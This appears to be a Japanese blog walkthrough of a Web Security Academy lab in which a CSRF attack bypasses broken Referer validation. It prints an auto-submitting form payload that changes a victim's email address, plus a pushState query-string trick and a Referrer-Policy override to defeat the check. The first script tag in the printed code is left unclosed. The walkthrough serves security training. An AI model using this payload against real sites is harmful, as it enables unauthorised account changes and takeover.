Hello there, ('ω')ノ
リファラ検証が壊れているCSRFを。
このラボのメール変更機能は、CSRFに対して脆弱で。
ラボを解決するには、CSRF攻撃でメールアドレスを変更して 。
まずは、ログインして。
メールアドレスを変更して。
リクエストをリピータへ。
Refererを変更して、レスポンスを確認するとリクエストが拒否されて。
Refererを空白にして、レスポンスを確認して。
Refererを削除して、レスポンスを確認して。
Refererを下記に変更して、SendしてFollowをクリックして。
Referer: ac551fb31e065668809d2d1000500099.web-security-academy.net
どうやら、ドメインが含まれているとRefererヘッダを受け入れるようで。
リクエストを一つ戻って、CSRF PoCを。
Optionを選択して。
変更を確認するためにメールアドレスを変更してからRegenerateを。
hack@mail.com
下記のパラメータを3番目の引数に追加して、Copy HTMLをクリックして。
これで生成されたリクエストのRefererヘッダにターゲットサイトのURLが含まれて。
/?https://ac551fb31e065668809d2d1000500099.web-security-academy.net
下記をHeadセクションに追加して。
これがないとRefererヘッダのエラーが出て。
ブラウザがRefererヘッダのクエリ文字列を削除するようでオーバーライドして。
Referrer-Policy: unsafe-url
先ほどコピーしたHTMLを入れ替えてStoreすると。
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/?https://ac551fb31e065668809d2d1000500099.web-security-academy.net')
<form action="https://ac551fb31e065668809d2d1000500099.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="hack@mail.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
クリアできた。
View exploitをクリックすると途中にこのようなボタンが見えて。
メールアドレスが変更されていて。
Best regards, (^^ゞ